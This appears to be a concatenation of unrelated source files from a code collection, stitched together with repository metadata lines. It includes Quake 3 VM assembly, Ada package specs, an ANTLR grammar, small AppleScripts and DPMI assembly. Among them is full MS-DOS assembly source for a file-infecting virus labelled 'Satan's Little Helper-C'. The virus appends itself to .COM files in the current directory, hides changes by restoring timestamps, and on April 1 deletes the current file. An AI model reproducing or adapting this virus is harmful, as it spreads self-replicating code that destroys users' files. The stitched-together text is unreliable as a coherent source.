import ui_browserSortKey
import ui_browserGameType
import ui_browserMaster
import ui_spSelection
import ui_spSkill
import ui_spVideos
import ui_spAwards
import ui_spScores5
import ui_spScores4
import ui_spScores3
import ui_spScores2
import ui_spScores1
import ui_botsFile
import ui_arenasFile
import ui_ctf_friendly
import ui_ctf_timelimit
import ui_ctf_capturelimit
import ui_team_friendly
import ui_team_timelimit
import ui_team_fraglimit
import ui_tourney_timelimit
import ui_tourney_fraglimit
import ui_ffa_timelimit
import ui_ffa_fraglimit
import BG_PlayerTouchesItem
import BG_PlayerStateToEntityStateExtraPolate
import BG_PlayerStateToEntityState
import BG_TouchJumpPad
import BG_AddPredictableEventToPlayerstate
import BG_EvaluateTrajectoryDelta
import BG_EvaluateTrajectory
import BG_CanItemBeGrabbed
import BG_FindItemForHoldable
import BG_FindItemForPowerup
import BG_FindItemForWeapon
import BG_FindItem
import bg_numItems
import bg_itemlist
import Pmove
import PM_UpdateViewAngles
import Com_Printf
import Com_Error
import Info_NextPair
import Info_Validate
import Info_SetValueForKey_Big
import Info_SetValueForKey
import Info_RemoveKey_Big
import Info_RemoveKey
import Info_ValueForKey
import Com_TruncateLongString
import va
import Q_CountChar
import Q_CleanStr
import Q_PrintStrlen
import Q_strcat
import Q_strncpyz
import Q_stristr
import Q_strupr
import Q_strlwr
import Q_stricmpn
import Q_strncmp
import Q_stricmp
import Q_isintegral
import Q_isanumber
import Q_isalpha
import Q_isupper
import Q_islower
import Q_isprint
import Com_RandomBytes
import Com_SkipCharset
import Com_SkipTokens
import Com_sprintf
import Com_HexStrToInt
import Parse3DMatrix
import Parse2DMatrix
import Parse1DMatrix
import SkipRestOfLine
import SkipBracedSection
import COM_MatchToken
import COM_ParseWarning
import COM_ParseError
import COM_Compress
import COM_ParseExt
import COM_Parse
import COM_GetCurrentParseLine
import COM_BeginParseSession
import COM_DefaultExtension
import COM_CompareExtension
import COM_StripExtension
import COM_GetExtension
import COM_SkipPath
import Com_Clamp
import PerpendicularVector
import AngleVectors
import MatrixMultiply
import MakeNormalVectors
import RotateAroundDirection
import RotatePointAroundVector
import ProjectPointOnPlane
import PlaneFromPoints
import AngleDelta
import AngleNormalize180
import AngleNormalize360
import AnglesSubtract
import AngleSubtract
import LerpAngle
import AngleMod
import BoundsIntersectPoint
import BoundsIntersectSphere
import BoundsIntersect
import BoxOnPlaneSide
import SetPlaneSignbits
import AxisCopy
import AxisClear
import AnglesToAxis
import vectoangles
import Q_crandom
import Q_random
import Q_rand
import Q_acos
import Q_log2
import VectorRotate
import Vector4Scale
import VectorNormalize2
import VectorNormalize
import CrossProduct
import VectorInverse
import VectorNormalizeFast
import DistanceSquared
import Distance
import VectorLengthSquared
import VectorLength
import VectorCompare
import AddPointToBounds
import ClearBounds
import RadiusFromBounds
import NormalizeColor
import ColorBytes4
import ColorBytes3
import _VectorMA
import _VectorScale
import _VectorCopy
import _VectorAdd
import _VectorSubtract
import _DotProduct
import ByteToDir
import DirToByte
import ClampShort
import ClampChar
import Q_rsqrt
import Q_fabs
import Q_isnan
import axisDefault
import vec3_origin
import g_color_table
import colorDkGrey
import colorMdGrey
import colorLtGrey
import colorWhite
import colorCyan
import colorMagenta
import colorYellow
import colorBlue
import colorGreen
import colorRed
import colorBlack
import bytedirs
import Hunk_AllocDebug
import FloatSwap
import LongSwap
import ShortSwap
import CopyLongSwap
import CopyShortSwap
import qk_acos
import qk_fabs
import qk_abs
import qk_tan
import qk_atan2
import qk_cos
import qk_sin
import qk_sqrt
import qk_floor
import qk_ceil
import qk_memcpy
import qk_memset
import qk_memmove
import qk_sscanf
import qk_vsnprintf
import qk_strtol
import qk_atoi
import qk_strtod
import qk_atof
import qk_toupper
import qk_tolower
import qk_strncpy
import qk_strstr
import qk_strrchr
import qk_strchr
import qk_strcmp
import qk_strcpy
import qk_strcat
import qk_strlen
import qk_rand
import qk_srand
import qk_qsort
lit
align 1
LABELV $392
byte 1 109
byte 1 101
byte 1 110
byte 1 117
byte 1 47
byte 1 97
byte 1 114
byte 1 116
byte 1 47
byte 1 102
byte 1 120
byte 1 95
byte 1 119
byte 1 104
byte 1 105
byte 1 116
byte 1 101
byte 1 0
align 1
LABELV $389
byte 1 109
byte 1 101
byte 1 110
byte 1 117
byte 1 47
byte 1 97
byte 1 114
byte 1 116
byte 1 47
byte 1 102
byte 1 120
byte 1 95
byte 1 99
byte 1 121
byte 1 97
byte 1 110
byte 1 0
align 1
LABELV $386
byte 1 109
byte 1 101
byte 1 110
byte 1 117
byte 1 47
byte 1 97
byte 1 114
byte 1 116
byte 1 47
byte 1 102
byte 1 120
byte 1 95
byte 1 98
byte 1 108
byte 1 117
byte 1 101
byte 1 0
align 1
LABELV $383
byte 1 109
byte 1 101
byte 1 110
byte 1 117
byte 1 47
byte 1 97
byte 1 114
byte 1 116
byte 1 47
byte 1 102
byte 1 120
byte 1 95
byte 1 116
byte 1 101
byte 1 97
byte 1 108
byte 1 0
align 1
LABELV $380
byte 1 109
byte 1 101
byte 1 110
byte 1 117
byte 1 47
byte 1 97
byte 1 114
byte 1 116
byte 1 47
byte 1 102
byte 1 120
byte 1 95
byte 1 103
byte 1 114
byte 1 110
byte 1 0
align 1
LABELV $377
byte 1 109
byte 1 101
byte 1 110
byte 1 117
byte 1 47
byte 1 97
byte 1 114
byte 1 116
byte 1 47
byte 1 102
byte 1 120
byte 1 95
byte 1 121
byte 1 101
byte 1 108
byte 1 0
align 1
LABELV $374
byte 1 109
byte 1 101
byte 1 110
byte 1 117
byte 1 47
byte 1 97
byte 1 114
byte 1 116
byte 1 47
byte 1 102
byte 1 120
byte 1 95
byte 1 114
byte 1 101
byte 1 100
byte 1 0
align 1
LABELV $372
byte 1 109
byte 1 101
byte 1 110
byte 1 117
byte 1 47
byte 1 97
byte 1 114
byte 1 116
byte 1 47
byte 1 102
byte 1 120
byte 1 95
byte 1 98
byte 1 97
byte 1 115
byte 1 101
byte 1 0
align 1
LABELV $348
byte 1 109
byte 1 101
byte 1 110
byte 1 117
byte 1 47
byte 1 97
byte 1 114
byte 1 116
byte 1 47
byte 1 98
byte 1 97
byte 1 99
byte 1 107
byte 1 95
byte 1 49
byte 1 0
align 1
LABELV $331
byte 1 109
byte 1 101
byte 1 110
byte 1 117
byte 1 47
byte 1 97
byte 1 114
byte 1 116
byte 1 47
byte 1 98
byte 1 97
byte 1 99
byte 1 107
byte 1 95
byte 1 48
byte 1 0
align 1
LABELV $314
byte 1 109
byte 1 101
byte 1 110
byte 1 117
byte 1 47
byte 1 97
byte 1 114
byte 1 116
byte 1 47
byte 1 109
byte 1 111
byte 1 100
byte 1 101
byte 1 108
byte 1 95
byte 1 49
byte 1 0
align 1
LABELV $297
byte 1 109
byte 1 101
byte 1 110
byte 1 117
byte 1 47
byte 1 97
byte 1 114
byte 1 116
byte 1 47
byte 1 109
byte 1 111
byte 1 100
byte 1 101
byte 1 108
byte 1 95
byte 1 48
byte 1 0
align 1
LABELV $218
byte 1 109
byte 1 101
byte 1 110
byte 1 117
byte 1 47
byte 1 97
byte 1 114
byte 1 116
byte 1 47
byte 1 102
byte 1 114
byte 1 97
byte 1 109
byte 1 101
byte 1 49
byte 1 95
byte 1 114
byte 1 0
align 1
LABELV $204
byte 1 109
byte 1 101
byte 1 110
byte 1 117
byte 1 47
byte 1 97
byte 1 114
byte 1 116
byte 1 47
byte 1 102
byte 1 114
byte 1 97
byte 1 109
byte 1 101
byte 1 50
byte 1 95
byte 1 108
byte 1 0
align 1
LABELV $196
byte 1 80
byte 1 76
byte 1 65
byte 1 89
byte 1 69
byte 1 82
byte 1 32
byte 1 83
byte 1 69
byte 1 84
byte 1 84
byte 1 73
byte 1 78
byte 1 71
byte 1 83
byte 1 0
align 1
LABELV $180
byte 1 37
byte 1 105
byte 1 0
align 1
LABELV $147
byte 1 99
byte 1 111
byte 1 108
byte 1 111
byte 1 114
byte 1 49
byte 1 0
align 1
LABELV $144
byte 1 104
byte 1 97
byte 1 110
byte 1 100
byte 1 105
byte 1 99
byte 1 97
byte 1 112
byte 1 0
align 1
LABELV $140
byte 1 110
byte 1 97
byte 1 109
byte 1 101
byte 1 0
align 1
LABELV $128
byte 1 109
byte 1 111
byte 1 100
byte 1 101
byte 1 108
byte 1 0
align 1
LABELV $124
byte 1 69
byte 1 102
byte 1 102
byte 1 101
byte 1 99
byte 1 116
byte 1 115
byte 1 0
align 1
LABELV $117
byte 1 72
byte 1 97
byte 1 110
byte 1 100
byte 1 105
byte 1 99
byte 1 97
byte 1 112
byte 1 0
align 1
LABELV $95
byte 1 78
byte 1 97
byte 1 109
byte 1 101
byte 1 0
align 1
LABELV $88
byte 1 53
byte 1 0
align 1
LABELV $87
byte 1 49
byte 1 48
byte 1 0
align 1
LABELV $86
byte 1 49
byte 1 53
byte 1 0
align 1
LABELV $85
byte 1 50
byte 1 48
byte 1 0
align 1
LABELV $84
byte 1 50
byte 1 53
byte 1 0
align 1
LABELV $83
byte 1 51
byte 1 48
byte 1 0
align 1
LABELV $82
byte 1 51
byte 1 53
byte 1 0
align 1
LABELV $81
byte 1 52
byte 1 48
byte 1 0
align 1
LABELV $80
byte 1 52
byte 1 53
byte 1 0
align 1
LABELV $79
byte 1 53
byte 1 48
byte 1 0
align 1
LABELV $78
byte 1 53
byte 1 53
byte 1 0
align 1
LABELV $77
byte 1 54
byte 1 48
byte 1 0
align 1
LABELV $76
byte 1 54
byte 1 53
byte 1 0
align 1
LABELV $75
byte 1 55
byte 1 48
byte 1 0
align 1
LABELV $74
byte 1 55
byte 1 53
byte 1 0
align 1
LABELV $73
byte 1 56
byte 1 48
byte 1 0
align 1
LABELV $72
byte 1 56
byte 1 53
byte 1 0
align 1
LABELV $71
byte 1 57
byte 1 48
byte 1 0
align 1
LABELV $70
byte 1 57
byte 1 53
byte 1 0
align 1
LABELV $69
byte 1 78
byte 1 111
byte 1 110
byte 1 101
byte 1 0
|
Applications/Terminal/window/tab/selected tab.applescript | looking-for-a-job/applescript-examples | 1 | 506 | <filename>Applications/Terminal/window/tab/selected tab.applescript<gh_stars>1-10
tell application "Terminal"
tell front window
get properties of selected tab
end tell
end tell |
MSDOS/Virus.MSDOS.Unknown.satnlh.asm | fengjixuchui/Family | 3 | 2222 | <gh_stars>1-10
; Virus
; Satan's Little Helper-C
;This version:
;Searches current directory for non-infected com files, if any found
;it will become infected!
;This virus has a routine which self-destructs itself and uninfects
;the file.
assume cs:code
.286
code segment "code"
org 0100h
start proc
jmp v_start ;first 5 bytes |
nop ; |
nop ; |
v_start:
call $+3 ;Actual virus
pop dx
sub dx, 3
push dx ;save relocation factor in BP
pop bp ;so virus can be copied anywhere twoards
mov si, dx ;the end of the file
;
; Replace first 5 bytes in memory with original
; program code so normal program can run later
add si, first_five
mov di, 0100h
mov cx, 5
lodsb
stosb
loop $-2
;see if user want to disinfect this file
mov si, 82h
lodsb
cmp al, "[" ;is al the code to disinfect? "["
jne ok_dont_disinfect
jmp self_kill
ok_dont_disinfect:
;here should be date checks to see
;if an evil function should be unleashed!!
mov ah, 2ah
int 21h
;cx year 1980-2099
;dh month 1-12
;dl day
;al day of week 0=sun 1=mon -> 7=sat
cmp dh, 12
jne notdec
cmp dl, 25
jne notdec
jmp christmas
notdec:
cmp dh, 4
jne notapril
cmp dl, 1
jne notapril
jmp aprilfools
notapril:
;Set the DTA
call set_dta
;find first file to ?infect?
call find_first_file
go_again:
mov si, bp
add si, size_
lodsw
cmp ax, 5
ja gd4
jmp resrch
gd4:
call open_file
mov bx, ax
mov al, 0
call date_time
mov ah, 3fh
mov cx, 5
mov dx, bp
add dx, first_five
int 21h
mov ax, 4202h
mov cx, 0
mov dx, cx
int 21h
sub ax, 3
mov si, bp
add si, new_5
mov [si+1], ax
mov si, bp
mov di, si
add si, chkmark
add di, mark
mov cx, 2
repe cmpsb
jne INFECT
;File found was previously infected!
; search for new one now.
jmp resrch
wipe_name:
push di
push ax
push cx
mov di, bp
add di, name_
mov cx, 13
mov al, 0
rep stosb
pop cx
pop ax
pop di
ret
resrch:
call wipe_name
mov ah, 4fh
int 21h
jnc gd3
jmp term_virus
gd3:
jmp go_again
INFECT:
;Time to infect the file!!
mov si, bp
add si, handle
mov bx, [si]
mov cx, vsize
mov dx, bp
call wipe_name
mov ax, 4000h
int 21h
mov ax, 4200h
mov cx, 0
mov dx, cx
int 21h
mov dx, bp
add dx, new_5
mov ax, 4000h
mov cx, 5
int 21h
mov al, 1
call date_time
mov ax, 3e00h
int 21h
jmp resrch
fndnam proc
mov si, env
mov ax, [si]
mov es, ax
mov ds, ax
mov si, 0
mov di, si
__lp:
lodsb
cmp al, 0
je chknxt
stosb
jmp __lp
chknxt:
stosb
lodsb
cmp al, 0
je fnd1
stosb
jmp __lp
fnd1:
stosb
__lp2:
lodsb
cmp al, "a"
jae ff_
up2:
cmp al, "A"
jae fff_
up3:
stosb
jmp __lp2
ff_:
cmp al,"z"
jbe fnd
jmp up2
fff_:
cmp al, "Z"
jbe fnd
jmp up3
fnd:
mov si, di
mov al, 0
repne scasb
mov dx, si
mov di, dx
ret
env equ 2ch
fndnam endp
self_kill:
;this procedure disinfects specified files
;SI points to the name of current file on disk
;which is infected
call fndnam ;find name of current file from env block in memory
jmp gd__
abrt:
int 20h
gd__:
mov ax, 3d02h
int 21h
jc abrt
mov bx, ax
mov ax, cs
mov ds, ax
mov es, ax
mov cx, 5
mov dx, bp
add dx, first_five
call wipe_name
mov ax, 4000h
int 21h
jc abrt
mov dx, 0
mov cx, 0
mov ax, 4202h
int 21h
jnc gd__1
jmp abrt
gd__1:
sub ax, vsize
mov dx, ax
mov cx, 0
mov ax, 4200h
int 21h
call wipe_name
mov cx, 0
mov ax, 4000h
int 21h
mov ax, 3e00h
int 21h
jmp term_virus
date_time:
pusha
mov ah, 57h
cmp al, 0
je fnd__$
mov di, bp
mov si, di
add di, date
add si, time
mov dx, [di]
mov cx, [si]
int 21h
jmp ret__
fnd__$:
int 21h
mov si, bp
mov di, bp
add si, time
add di, date
mov [si], cx
mov [di], dx
ret__:
popa
ret
open_file:
mov dx, bp
add dx, name_
mov ax, 3d02h
int 21h
jnc gd2
jmp term_virus
gd2:
mov si, bp
add si, handle
mov [si], ax
ret
find_first_file:
mov dx, bp
mov cx, 0
mov ah, 4eh
add dx, all_com_files
int 21h
jnc gd1
jmp term_virus
gd1:
ret
set_dta:
mov dx, bp
mov ah, 1ah
add dx, dta
int 21h
ret
term_virus:
mov ax, 0
mov bx, ax
mov cx, bx
mov dx, cx
mov si, 0100h
mov di, -1
mov bp, di
push 0100h
ret
CHRISTMAS:
;Program Lockup
; Exit without running program
int 20h
APRILFOOLS:
;Ha Ha delete current file
call fndnam
mov ah, 41h
int 21h
mov ax, cs
mov ds, ax
mov es, ax
jmp term_virus
; Data Bank
_fstfive:
int 20h
nop
ckmrk:
nop
nop
acf db "*.COM",0
dt_ dw 0
tme dw 0
d_t_a:
rfd db 21 dup (0)
att db 0
dw 0
dw 0
sz dd 0
n_me db 13 dup (0),0
handl dw 0
nw_5 db 0e9h,0,0
mrk db "66"
strain db "C"
;
end___:
first_five = offset _fstfive-0105h
all_com_files = offset acf-0105h
dta = offset d_t_a-0105h
attribute = offset att-0105h
time = offset tme-0105h
date = offset dt_-0105h
size_ = offset sz-0105h
name_ = offset n_me-0105h
handle = offset handl-0105h
new_5 = offset nw_5-0105h
mark = offset mrk-0105h
chkmark = offset ckmrk-0105h
vsize = offset end___-0105h
start endp
code ends
end start
|
.bin/iterm.scpt | Croxed/dotfiles | 2 | 891 | tell application "iTerm2"
create window with default profile
end tell
|
src/el-functions-namespaces.ads | jquorning/ada-el | 6 | 8225 | -----------------------------------------------------------------------
-- el-functions-namespaces -- Namespace function mapper
-- Copyright (C) 2011, 2021 <NAME>
-- Written by <NAME> (<EMAIL>)
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
private with Util.Strings.Maps;
package EL.Functions.Namespaces is
-- ------------------------------
-- Namespace Function mapper
-- ------------------------------
-- The <b>NS_Function_Mapper</b> is a delegate function mapper which provides XML
-- namespace support. The XML namespaces are registered with the <b>Set_Namespace</b>
-- procedure which records a prefix and the associated URI namespace. When a function is
-- searched, the <b>Namespace</b> is searched in the prefix map to find the corresponding
-- URI namespace. Then, the delegated function mapper is invoked using that URI.
type NS_Function_Mapper is new Function_Mapper with private;
type Function_Mapper_Access is access all Function_Mapper'Class;
-- Find the function knowing its name.
overriding
function Get_Function (Mapper : in NS_Function_Mapper;
Namespace : in String;
Name : in String) return Function_Access;
-- Bind a name to a function in the given namespace.
overriding
procedure Set_Function (Mapper : in out NS_Function_Mapper;
Namespace : in String;
Name : in String;
Func : in Function_Access);
-- Associate the <b>Prefix</b> with the givien <b>URI</b> building a new namespace.
procedure Set_Namespace (Mapper : in out NS_Function_Mapper;
Prefix : in String;
URI : in String);
-- Remove the namespace prefix binding.
procedure Remove_Namespace (Mapper : in out NS_Function_Mapper;
Prefix : in String);
-- Set the delegate function mapper.
procedure Set_Function_Mapper (Mapper : in out NS_Function_Mapper;
Delegate : in Function_Mapper_Access);
private
type NS_Function_Mapper is new Function_Mapper with record
Mapping : Util.Strings.Maps.Map;
Mapper : Function_Mapper_Access;
end record;
end EL.Functions.Namespaces;
|
source/slim-menu_commands-play_file_commands.ads | reznikmm/slimp | 0 | 20099 | -- Copyright (c) 2019 <NAME> <<EMAIL>>
--
-- SPDX-License-Identifier: MIT
-- License-Filename: LICENSE
-------------------------------------------------------------
with Slim.Players;
with League.String_Vectors;
with League.Strings;
package Slim.Menu_Commands.Play_File_Commands is
type Play_File_Command
(Player : Slim.Players.Player_Access) is new Menu_Command with
record
Root : League.Strings.Universal_String;
M3U_Name : League.Strings.Universal_String;
Start : Positive; -- Item to play
Skip : Natural := 0; -- Skip seconds in the first file
Relative_Path_List : League.String_Vectors.Universal_String_Vector;
Title_List : League.String_Vectors.Universal_String_Vector;
end record;
type Play_File_Command_Access is access all Play_File_Command'Class;
overriding procedure Run (Self : Play_File_Command);
end Slim.Menu_Commands.Play_File_Commands;
|
tests/syntax_examples/src/basic_declaration.adb | TNO/Dependency_Graph_Extractor-Ada | 1 | 24104 | <reponame>TNO/Dependency_Graph_Extractor-Ada
package body Basic_Declaration is
task body Type_Declaration_Name_5 is
Cons_3 : constant := 42;
begin
null;
end Type_Declaration_Name_5;
protected body Type_Declaration_Name_6 is
entry Entry_Declaration_Name(for Entry_Index_Specification_Name in Boolean) when True is
Cons_4 : constant := 42;
begin
null;
end Entry_Declaration_Name;
end Type_Declaration_Name_6;
task body Object_Declaration_Name_2 is
begin
null;
end Object_Declaration_Name_2;
protected body Object_Declaration_Name_3 is
end Object_Declaration_Name_3;
procedure Subprogram_Declaration_Name_1(Parameter_Name : Type_Declaration_Name_3) is
Local_Object_Declaration_Name_1 : Type_Declaration_Name_3'Class := Parameter_Name;
Local_Object_Declaration_Name_2 : Type_Declaration_Name_4 := Local_Object_Declaration_Name_1.Subprogram_Declaration_Name_2;
Local_Object_Declaration_Name_3 : Integer;
begin
Local_Object_Declaration_Name_3 := Local_Object_Declaration_Name_2.Component_Name_2;
for Defining_Identifier_Name in 1 .. Local_Object_Declaration_Name_3 loop
null;
end loop;
Statement_Identifier_Name:
begin
null;
exception
when Choice_Parameter_Specification_Name: Exception_Declaration_Name =>
raise;
end Statement_Identifier_Name;
<<Label_Statement_Identifier_Name>> null;
end Subprogram_Declaration_Name_1;
function Subprogram_Declaration_Name_2(Parameter_Name : Type_Declaration_Name_3'Class) return Type_Declaration_Name_4 is
begin
return Extended_Return_Object_declaration_Name : Type_Declaration_Name_4(True) do
Extended_Return_Object_declaration_Name.Component_Name_2 := 42;
end return;
end Subprogram_Declaration_Name_2;
procedure Generic_Declaration_Name_2 is
Cons_2 : constant := 42;
begin
null;
end;
procedure Generic_Instantiation_Name_2 is new Generic_Declaration_Name_2(Generic_Instantiation_Name_1);
procedure Subprogram_Body_Stub_Name is separate;
package body Package_Body_Stub_Name is separate;
task body Task_Body_Stub_Name is separate;
protected body Protected_Body_Stub_Name is separate;
begin
Object_Declaration_Name_1 := 42;
end Basic_Declaration;
|
src/src/c/borlandc/dpmi32/dosext.asm | amindlost/wdosx | 7 | 26353 | .386
.model flat,C
PUBLIC dosexterr
include dpmi32.inc
EXTRN __WDOSXRmRegs:RmCallStruc
.code
dosexterr proc near
push ebx
push edi
mov __WDOSXRmRegs._ah,59h
mov __WDOSXRmRegs._bx,0
sub ecx,ecx
lea edi,__WDOSXRmRegs
mov bl,21h
mov eax,300h
int 31h
pop edi
pop ebx
mov edx,[esp+4]
mov eax,__WDOSXRmRegs._ebx
mov [edx+4],ah
mov [edx+5],al
mov eax,__WDOSXRmRegs._ebx
mov [edx+6],ah
movzx eax,__WDOSXRmRegs._ax
mov [edx],ax
ret
dosexterr endp
end
|
src/Parser/Mxstar.g4 | XunZhiyang/Mxstar-Compiler | 1 | 646 | <gh_stars>1-10
grammar Mxstar;
@header {
package Parser;
}
program
: programFragment*
;
programFragment
: functionDeclaration
| classDeclaration
| varDeclaration
;
classDeclaration
: 'class' Identifier '{' (varDeclaration | functionDeclaration | constructorDeclaration)* '}' ';'
;
constructorDeclaration
: Identifier '(' ')' compoundStatement
;
varDeclaration
: type identifierList ';'
| type Identifier '=' expression ';'
;
identifierList
: Identifier (',' Identifier)*
;
functionDeclaration
: funcType declarator compoundStatement
;
funcType
: type
| Void
;
declarator
: Identifier '(' parameterDeclarationList? ')'
;
parameterDeclarationList
: parameterDeclaration
| parameterDeclarationList ',' parameterDeclaration
;
parameterDeclaration
: type Identifier
;
compoundStatement
: '{' statement* '}'
;
statement
: compoundStatement #CompoundStmt
| varDeclaration #VarDeclStmt
| expressionStatement #ExprStmt
| selectionStatement #SelectionStmt
| iterationStatement #IterationStmt
| jumpStatement #JumpStmt
| ';' #EmptyStmt
;
expressionStatement
: expression ';'
;
selectionStatement
: 'if' '(' expression ')' opt1=statement ('else' opt2=statement)?
;
iterationStatement
: While '(' expression ')' statement #WhileStmt
| For '(' forCondition ')' statement #ForStmt
;
forCondition
: init=expression? ';' cond=expression? ';' step=expression?
;
jumpStatement
: 'return' expression? ';' #ReturnStmt
| 'break' ';' #BreakStmt
| 'continue' ';' #ContinueStmt
;
primaryExpression
: constantExpression #ConstExpr
| This #ThisExpr
| Identifier #VarExpr
;
constantExpression
: True #BoolExpr
| False #BoolExpr
| Null #NullExpr
| IntegerLiteral #IntegerLiteral
| StringLiteral #StringLiteral
;
expression
: primaryExpression #PrimaryExpr
| '(' expression ')' #ParenthesesExpr
| expression '.' Identifier #FieldExpr
| expression '(' parameterList? ')' #FuncCallExpr
| 'new' newSpecifier #NewExpr
| src1=expression '[' src2=expression ']' #SubscriptExpr
| expression op=('++' | '--') #PostfixExpr
| op=('++' | '--') expression #UnaryExpr
| op=('+' | '-' | '~' | '!') expression #UnaryExpr
| src1=expression op=('*' | '/' | '%') src2=expression #BinaryExpr
| src1=expression op=('+' | '-') src2=expression #BinaryExpr
| src1=expression op=('<<' | '>>') src2=expression #BinaryExpr
| src1=expression op=('<' | '>' | '<=' | '>=') src2=expression #BinaryExpr
| src1=expression op=('==' | '!=') src2=expression #BinaryExpr
| src1=expression op='&' src2=expression #BinaryExpr
| src1=expression op='^' src2=expression #BinaryExpr
| src1=expression op='|' src2=expression #BinaryExpr
| src1=expression op='&&' src2=expression #BinaryExpr
| src1=expression op='||' src2=expression #BinaryExpr
| <assoc=right> src1=expression '?' src2=expression ':' src3=expression #ConditionalExpr
| <assoc=right> src1=expression op='=' src2=expression #BinaryExpr
;
parameterList
: expression
| parameterList ',' expression
;
//unaryOperator
// : '+'
// | '-'
// | '~'
// | '!'
// ;
newSpecifier
: primaryType parentheses
| primaryType ('[' expression ']')* ('[' ']')+ ('[' errSrc=expression ']')+
| primaryType ('[' expression ']')+ ('[' ']')*
| primaryType
;
parentheses
: '(' ')'
;
type
: primaryType
| type '[' ']'
;
primaryType
: Bool
| Int
| String
| Identifier
;
True : 'true';
False : 'false';
This : 'this';
Null : 'null';
Bool : 'bool';
Int : 'int';
Void : 'void';
String : 'string';
While : 'while';
For : 'for';
IntegerLiteral
: [0-9]+
;
StringLiteral
: '"' SChar* '"'
;
fragment
SChar
: ~["\\\r\n]
| EscapeSequence
;
fragment
EscapeSequence
: '\\' ["n\\]
;
Identifier
: Letter
( Letter
| Digit
| '_'
)*
;
fragment
Letter
: [a-zA-Z]
;
fragment
Digit
: [0-9]
;
Whitespace
: [ \t]+
-> skip
;
Newline
: ( '\r' '\n'?
| '\n'
)
-> skip
;
BlockComment
: '/*' .*? '*/'
-> skip
;
LineComment
: '//' ~[\r\n]*
-> skip
; |
tests/ships-test_data-tests-proto_crew_container.ads | thindil/steamsky | 80 | 3293 | <reponame>thindil/steamsky<gh_stars>10-100
package Ships.Test_Data.Tests.Proto_Crew_Container is
end Ships.Test_Data.Tests.Proto_Crew_Container;
|
paplj/src/main/antlr/com/virtlink/paplj/syntax/PapljAntlrLexer.g4 | Virtlink/aesi | 1 | 1705 | lexer grammar PapljAntlrLexer;
@header {
package com.virtlink.paplj.syntax;
}
channels {
WHITESPACE,
COMMENTS
}
PROGRAM : 'program';
RUN : 'run';
IMPORT : 'import';
CLASS : 'class';
EXTENDS : 'extends';
IF : 'if';
ELSE : 'else';
LET : 'let';
IN : 'in';
AS : 'as';
TRUE : 'true';
FALSE : 'false';
THIS : 'this';
NULL : 'null';
NEW : 'new';
SEMICOLON : ';';
DOTSTAR : '.*';
COMMA : ',';
DOT : '.';
LBRACE : '{';
RBRACE : '}';
LPAREN : '(';
RPAREN : ')';
EQ : '==';
NEQ : '!=';
LTE : '<=';
GTE : '>=';
LT : '<';
GT : '>';
OR : '||';
AND : '&&';
ASSIGN : '=';
PLUS : '+';
MIN : '-';
MUL : '*';
DIV : '/';
NOT : '!';
ID : [A-Za-z]+;
INT : [0-9]+;
COMMENT : '/*' .*? '*/' -> channel(COMMENTS);
LINE_COMMENT: '//' .*? '\r'? '\n' -> channel(COMMENTS);
WS : [ \t\r\n]+ -> channel(WHITESPACE); |
ffight/lcs/enemy/A0.asm | zengfr/arcade_game_romhacking_sourcecode_top_secret_data | 6 | 24360 | <reponame>zengfr/arcade_game_romhacking_sourcecode_top_secret_data
copyright zengfr site:http://github.com/zengfr/romhack
009ACA dbra D5, $9ac8
022AEA move.l #$10000, ($a4,A6) [enemy+A0, enemy+A2]
022B40 move.l #$10000, ($a4,A6) [enemy+A0, enemy+A2]
022B70 move.l #$cc00, ($a4,A6) [enemy+A0, enemy+A2]
02ADCC move.l #$11900, ($a4,A6) [enemy+A0, enemy+A2]
02AE16 move.l #$11900, ($a4,A6) [enemy+A0, enemy+A2]
02AE46 move.l #$f300, ($a4,A6) [enemy+A0, enemy+A2]
03512C move.b D0, ($a0,A6)
035130 move.b D0, ($9d,A6)
copyright zengfr site:http://github.com/zengfr/romhack
|
tools-src/gnu/gcc/gcc/ada/a-ngelfu.ads | enfoTek/tomato.linksys.e2000.nvram-mod | 80 | 959 | ------------------------------------------------------------------------------
-- --
-- GNAT RUNTIME COMPONENTS --
-- --
-- ADA.NUMERICS.GENERIC_ELEMENTARY_FUNCTIONS --
-- --
-- S p e c --
-- --
-- $Revision$
-- --
-- This specification is adapted from the Ada Reference Manual for use with --
-- GNAT. In accordance with the copyright of that document, you can freely --
-- copy and modify this specification, provided that if you redistribute a --
-- modified version, any changes that you have made are clearly indicated. --
-- --
------------------------------------------------------------------------------
generic
type Float_Type is digits <>;
package Ada.Numerics.Generic_Elementary_Functions is
pragma Pure (Generic_Elementary_Functions);
function Sqrt (X : Float_Type'Base) return Float_Type'Base;
function Log (X : Float_Type'Base) return Float_Type'Base;
function Log (X, Base : Float_Type'Base) return Float_Type'Base;
function Exp (X : Float_Type'Base) return Float_Type'Base;
function "**" (Left, Right : Float_Type'Base) return Float_Type'Base;
function Sin (X : Float_Type'Base) return Float_Type'Base;
function Sin (X, Cycle : Float_Type'Base) return Float_Type'Base;
function Cos (X : Float_Type'Base) return Float_Type'Base;
function Cos (X, Cycle : Float_Type'Base) return Float_Type'Base;
function Tan (X : Float_Type'Base) return Float_Type'Base;
function Tan (X, Cycle : Float_Type'Base) return Float_Type'Base;
function Cot (X : Float_Type'Base) return Float_Type'Base;
function Cot (X, Cycle : Float_Type'Base) return Float_Type'Base;
function Arcsin (X : Float_Type'Base) return Float_Type'Base;
function Arcsin (X, Cycle : Float_Type'Base) return Float_Type'Base;
function Arccos (X : Float_Type'Base) return Float_Type'Base;
function Arccos (X, Cycle : Float_Type'Base) return Float_Type'Base;
function Arctan
(Y : Float_Type'Base;
X : Float_Type'Base := 1.0)
return Float_Type'Base;
function Arctan
(Y : Float_Type'Base;
X : Float_Type'Base := 1.0;
Cycle : Float_Type'Base)
return Float_Type'Base;
function Arccot
(X : Float_Type'Base;
Y : Float_Type'Base := 1.0)
return Float_Type'Base;
function Arccot
(X : Float_Type'Base;
Y : Float_Type'Base := 1.0;
Cycle : Float_Type'Base)
return Float_Type'Base;
function Sinh (X : Float_Type'Base) return Float_Type'Base;
function Cosh (X : Float_Type'Base) return Float_Type'Base;
function Tanh (X : Float_Type'Base) return Float_Type'Base;
function Coth (X : Float_Type'Base) return Float_Type'Base;
function Arcsinh (X : Float_Type'Base) return Float_Type'Base;
function Arccosh (X : Float_Type'Base) return Float_Type'Base;
